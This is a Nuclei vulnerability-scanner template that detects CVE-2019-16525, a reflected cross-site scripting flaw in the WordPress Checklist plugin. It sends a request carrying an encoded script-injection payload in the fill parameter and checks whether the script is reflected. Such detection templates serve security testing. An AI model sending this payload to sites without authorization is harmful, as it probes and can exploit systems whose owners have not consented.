nuclei-templates/cves/2019/CVE-2019-16525.yaml

id: CVE-2019-16525

info:
  name: Wordpress Plugin Checklist <= 1.1.5 - Reflected Cross-Site Scripting (XSS)
  author: daffainfo
  severity: medium
  description: An XSS issue was discovered in the checklist plugin before 1.1.9 for WordPress. The fill parameter is not correctly filtered in the checklist-icon.php file, and it is possible to inject JavaScript code.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16525
    - https://wordpress.org/plugins/checklist/#developers
    - https://packetstormsecurity.com/files/154436/WordPress-Checklist-1.1.5-Cross-Site-Scripting.html
    - https://plugins.trac.wordpress.org/changeset/2155029/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16525
    cwe-id: CWE-79
  tags: cve,cve2019,wordpress,xss,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/checklist/images/checklist-icon.php?&fill=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200